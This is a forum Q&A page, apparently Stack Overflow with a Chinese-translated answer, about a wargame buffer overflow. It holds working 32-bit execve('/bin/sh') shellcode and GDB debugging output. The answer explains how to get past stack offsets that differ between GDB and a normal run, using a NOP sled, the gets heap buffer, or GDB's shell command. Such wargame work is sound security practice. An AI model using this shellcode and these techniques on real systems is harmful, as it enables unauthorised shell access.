0

For a wargame, I'm exploiting a buffer overflow to inject some shellcode to spawn /bin/sh. I started by writing my own shellcode, but I got some bizarre errors, so I tried a piece of known working shellcode – and got the same error! However, it gets weirder: running it locally (i.e. not on the wargame server) works fine (so I've verified the problem isn't with the code), and running it in GDB produces a different error.

When run normally:

$ ./program < /tmp/shellcode
[program output...]
zsh: segmentation fault  ./program < /tmp/shellcode

When run in GDB:

(gdb) run < /tmp/shellcode
[program output...]
process 2242 is executing new program: /proc/2242/exe
/proc/2242/exe: No such file or directory.

The shellcode can be found here, or, in NASM Intel syntax:

    BITS 32

    ; Set up "/bin/sh" string
    xor eax, eax
    push eax
    push 0x68732F2F
    push 0x6E69622F
    
    ; Set up execve arguments
    mov ebx, esp
    mov ecx, eax
    mov edx, eax
    mov al, 0xB ; execve's ID
    int 0x80

    ; exit()
    xor eax, eax
    inc eax
    int 0x80

I've confirmed in GDB that the code is inserted properly, that it's jumped to in the correct place, and even that execution reaches the int 0x80 that's supposed to spawn a shell – but as soon as you try to si past it, it gives you the error above.

I've also confirmed at the point of the int 0x80 that the registers are, as far as I can tell, in order for an execve call. Here are the inspected registers from my own shellcode (not from the shellcode above, which sets up ecx and edx to null pointers, but this produces the same error):

(gdb) x/i $pc
=> 0xffffdc47:  int    0x80
eax            0xb      11
(gdb) # EBX should point to "/bin/sh"
(gdb) x/s $ebx
0xffffdc4e:     "/bin/sh"
(gdb) # ECX should point to a null-terminated pointer array.
(gdb) x/2wx $ecx
0xffffdc31:     0xffffdc4e      0x00000000
(gdb) # EDX should point to NULL.
(gdb) x/wx $edx
0xffffdc35:     0x00000000

Why does this execve syscall not work? And… what in the world could /proc/2242/exe be? The string sent to execve is "/bin/sh"! Given that this works when run locally, could the issue somehow be with the server's environment?

Some considerations:

  • file output: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=..., not stripped
  • ASLR is off.
  • It's not a pointer alignment issue – I tried aligning them to 4-byte boundaries, and nothin' changed.
  • /bin/sh exists, so that's not the file that isn't being found.
  • To reiterate, just to be sure, it works with the exact same binary and the exact same shellcode on another system, so it's not an issue with the code itself.
4

1 回答 1

1

事实证明,运行程序时的段错误通常取决于GDB 环境的差异! 堆栈状态会根据环境中的各种情况而有所不同,这会使代码跳转到 GDB 中的正确位置——但由于我要跳转到堆栈上的一些 shellcode 它取决于当前堆栈长度,因此会跳转到一些无效的正常运行时放置。为什么它在本地工作我只能猜测,但我想我的本地环境只是与目标机器上的 GDB 一致。

我想出了三种方法来解决这个问题:

  • 在我点击 paydirt 之前,我可以在我期望堆栈指针所在的位置附近尝试各种地址——也许幻灯片nop有所帮助。
  • 或者,事实证明,在将事物复制(没有终止换行符)到最终目的地之前gets,堆上有一个内部缓冲区。因为它总是在同一个地方(当 ASLR 关闭时),并且因为我通过 注入我的 shellcode gets,所以我可以跳到那里。这确实是我最终做的!
  • 但最令人鼓舞的方式是……我可以简单地通过GDB 的 shell 命令运行它。!尽管(gdb) run < /tmp/shellcode出现错误和./program < /tmp/shellcode段错误,但仍然(gdb) !./program < /tmp/shellcode 有效。这是因为以这种方式运行表面上“正常”地运行程序——在 shell 中——但使用 GDB 的环境,从而确保堆栈状态匹配。

那么GDB错误呢?那个/proc/1234/exe: No such file or directory.?好吧,这是妙语:该错误是不相关的,即使有正确的解决方案也会发生。一旦到达系统调用int 0x80execve,GDB 就会产生该错误(并且由于某种原因也忘记了正在运行的程序)。我完全不知道为什么会这样——如果有人有线索,请分享。

于 2020-12-09T07:24:37.663 回答